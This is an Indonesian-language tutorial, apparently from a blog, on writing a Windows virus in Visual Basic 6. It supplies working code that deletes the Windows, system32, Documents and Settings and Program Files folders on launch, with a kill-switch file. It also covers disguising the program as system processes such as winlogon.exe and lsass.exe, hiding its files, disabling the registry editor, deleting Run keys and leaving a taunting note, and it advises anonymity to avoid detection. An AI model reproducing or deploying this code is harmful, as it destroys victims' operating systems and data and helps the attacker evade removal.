Cara membuat Virus VB6(Visual Basic 6)

Cara membuat Virus di VB6 atau Visual Basic 6
1. VB(optimal : 6.0)

apabila anda ingin mendownload Visual Basic 6.0, klik disini

Tutorial :

1. bikin form sekecil mungkin

2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode yg berwarna biru itu adalah penangkal nih virus sob, jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang sendiri… bisa kamu edit kok jadi apa gitu…

Yang berwarna merah itu folder yg bakal didelete ama nih virus, kamu edit sendiri aja…

4. Bikin nih project namanya kaya nama system, disini aku memakai nama “SystemKernel32″ jadi ga bakal dicurigain.

5. jangan pernah nulis nama kamu di project ini, okey friend?

6. terakhir ya tinggal di compile deh… 

#nih virus kerjanya ngapus system, jadi sengat berbahaya sekali … ini cman contoh bikin virus…

______________________________________________________________________

Pertama, bikin form buat virus kamu pake Standart exe saja
1. Nyembuin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon

On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon” 

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